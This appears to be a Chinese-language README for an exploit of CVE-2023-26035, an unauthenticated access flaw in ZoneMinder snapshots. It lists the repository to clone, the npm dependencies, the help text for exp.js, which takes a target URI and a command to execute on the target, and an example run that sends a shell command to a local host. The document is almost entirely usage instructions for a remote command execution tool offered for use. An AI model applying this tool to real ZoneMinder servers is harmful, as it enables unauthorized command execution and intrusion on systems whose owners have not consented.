ZoneMinder 快照 - 未授权访问
获取仓库
$ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git
设置
注意：请安装最新版本的
node
$ npm init
$ npm i axios cheerio yargs
┌─[✗]─[v37r1x@7h3B14ckKn1gh75]─[~/Documents/Code/CVE-2023-26035]
└──╼ $node exp.js -h
选项：
--version 显示版本号 [布尔值]
-t, --target 目标 URI（例如：http://example.com/zm/） [字符串] [必需]
-c, --cmd 在目标上执行的命令 [字符串] [必需]
-h, --help 显示帮助 [布尔值]
┌─[v37r1x@7h3B14ckKn1gh75]─[~/Documents/Code/CVE-2023-26035]
└──╼ $node exp.js -t http://127.0.0.1:8888/ --cmd '<shell>'